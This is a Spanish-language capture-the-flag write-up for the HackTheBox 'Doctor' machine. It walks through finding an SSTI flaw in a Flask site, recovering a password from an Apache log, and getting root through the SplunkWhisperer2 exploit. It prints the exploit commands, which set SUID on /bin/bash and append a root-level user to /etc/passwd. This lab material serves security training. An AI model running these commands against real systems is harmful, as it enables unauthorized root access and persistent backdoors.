HackTheBox - Doctor
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: SSTI, SplunkWhisperer2, Information Leakage
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Doctor
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
Añadimos el host
doctors.htb
en el archivo/etc/hosts
c. Inspeccionamos el sitio http://doctor.htb
y registramos una cuenta.
El uso de Flask lo hace propenso a un
SSTI
- Al no obtener un
49
como respuesta, indagamos en el código fuente de la página web, aquí, nos encontramos con un comentario que menciona una ruta que sea encuentra en ‘beta’
- Visitamos esta nueva ruta e inspeccionamos su código fuente
El payload es interpretado por lo cual el ataque
SSTI
funciona.
d. Nos encontablaremos una reverse shell STTI - RCE
Escalada de Privilegios 💹
a. Vemos los grupos a los que pertenecemos
1
2
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
El grupo
adm
está autorizado para ver archivos logs.
- En el directorio
/var/log/apache2
existe un archivobackup
el cual no es usual, por lo que lo leemos en busca de alguna contraseña
1
2
web@doctor:/var/log/apache2$ grep -i 'pass' backup
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
b. Obtenemos la contraseña Guitar123
y tenemos otro usuario en el sistema shaun
, intentamos convertirnos en este usuario
1
2
3
web@doctor:/var/log/apache2$ su shaun
Password: Guitar123
shaun@doctor:/var/log/apache2$
e. Al no encontrar una forma de escalar privilegios, visitamos el otro sitio web que estaba disponible https://<IP Doctor>:8089
- Visitamos cada uno de los módulos, estos requieren de auntenticación, por lo que intentamos loguearnos con las credenciales
shaun:Guitar123
- El módulo que contiene información interesante es
services
y si visitamos la ruta/services/admin/users
veremos queshaun
es administrador del sistema.
f. Buscamos vulnerabilidades asociadas a splunk
SplunkWhisperer2 y Splunk - HackTricks
- Una vez descargado el exploit podemos ejecutar comandos como
root
1
> python PySplunkWhisperer2_remote.py --host [IP Doctor] --port 8089 --lhost [tun0 IP] --username shaun --password Guitar123 --payload "chmod +s /bin/bash"
Con esto la bash ya tiene el permiso
SUID
y podemos spawnear una comoroot
1 2 3 4 5
shaun@doctor:/var/log/apache2$ ls -la /bin/bash -rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash shaun@doctor:/var/log/apache2$ bash -p bash-5.0# whoami root
También podemos agregar un usuario en el fichero
/etc/passwd
1
2
3
4
5
6
7
> openssl passwd hola
$1$EHU.NHFo$95A.r07oTWCErDLLwtbV9.
> python PySplunkWhisperer2_remote.py --host [IP Doctor] --port 8089 --lhost [tun0 IP] --username shaun --password Guitar123 "echo 'testing:\$1\$EHU.NHFo\$95A.r07oTWCErDLLwtbV9.:0:0::/home:/bin/bash' >> /etc/passwd"
<SNIP>
[ENTER]
Si nos convertimos en
testing
tendremos una shell comoroot
1 2 3 4 5
shaun@doctor:/var/log/apache2$ tail -n 1 /etc/passwd testing:$1$EHU.NHFo$95A.r07oTWCErDLLwtbV9.:0:0::/home:/bin/bash shaun@doctor:/var/log/apache2$ su testing Password: hola root@doctor:/var/log/apache2#